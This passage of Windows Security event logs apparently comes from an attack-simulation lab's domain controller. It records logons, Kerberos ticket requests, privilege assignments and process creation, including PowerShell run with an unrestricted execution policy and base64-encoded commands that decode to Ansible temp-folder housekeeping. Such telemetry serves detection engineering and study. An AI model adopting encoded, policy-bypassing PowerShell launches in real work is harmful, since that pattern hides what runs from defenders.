QQBjAEEAQgAxAEEASABRAEEASQBBAEEAdABBAEUAawBBAGIAZwBCAHcAQQBIAFUAQQBkAEEAQgBQAEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEATABnAEIARwBBAEgAVQBBAGIAQQBCAHMAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEQAOABBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBKAEEARwBZAEEASQBBAEEAbwBBAEUAYwBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBUAEEAQgBCAEEARgBNAEEAVgBBAEIARgBBAEYAZwBBAFMAUQBCAFUAQQBFAE0AQQBUAHcAQgBFAEEARQBVAEEASQBBAEEAdABBAEUAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBCAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBGAE0AQQBhAFEAQgBzAEEARwBVAEEAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAEoAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEASAAwAEEASQBBAEIARgBBAEcAdwBBAGMAdwBCAGwAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAHgAQQBDAEEAQQBmAFEAQQBnAEEASAAwAEEA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251823 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14253C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x133c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12c4 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAHcAQQAzAEEAQwA0AEEATgBnAEEAdwBBAEQAUQBBAE4AQQBBADMAQQBEAFEAQQBPAEEAQQB0AEEARABJAEEATQB3AEEAMgBBAEQAUQBBAE4AQQBBAHgAQQBEAEEAQQBNAGcAQQB3AEEARABrAEEATQBnAEEAMgBBAEQATQBBAE0AQQBBAG4AQQBBAG8AQQBWAHcAQgB5AEEARwBrAEEAZABBAEIAbABBAEMAMABBAFQAdwBCADEAQQBIAFEAQQBjAEEAQgAxAEEASABRAEEASQBBAEEAdABBAEUAawBBAGIAZwBCAHcAQQBIAFUAQQBkAEEAQgBQAEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEATABnAEIARwBBAEgAVQBBAGIAQQBCAHMAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEQAOABBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBKAEEARwBZAEEASQBBAEEAbwBBAEUAYwBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBUAEEAQgBCAEEARgBNAEEAVgBBAEIARgBBAEYAZwBBAFMAUQBCAFUAQQBFAE0AQQBUAHcAQgBFAEEARQBVAEEASQBBAEEAdABBAEUAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBCAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBGAE0AQQBhAFEAQgBzAEEARwBVAEEAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAEoAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEASAAwAEEASQBBAEIARgBBAEcAdwBBAGMAdwBCAGwAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAHgAQQBDAEEAQQBmAFEAQQBnAEEASAAwAEEA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251822 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1442FB - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251821 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1442FB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251820 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251819 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251818 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251817 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1442D7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251926 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14253C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1208 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x934 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA3ADcALgA2ADAANAA0ADcANAA4AC0AMgAzADYANAA0ADEAMAAyADAAOQAyADYAMwAwACIAIAAtAEYAbwByAGMAZQAgAC0AUgBlAGMAdQByAHMAZQA7AAoASQBmACAAKAAtAG4AbwB0ACAAJAA/ACkAIAB7ACAASQBmACAAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAZQB4AGkAdAAgACQATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAB9ACAARQBsAHMAZQAgAHsAIABlAHgAaQB0ACAAMQAgAH0AIAB9AA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251925 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x149167 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251924 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x149167 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64564 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251923 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x149167 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251922 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1490A7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251921 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1490A7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64563 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251920 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1490A7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251919 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x148FF8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251918 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x148FF8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64562 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251917 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x148FF8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251916 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x148F6C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251915 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x148F6C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64561 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 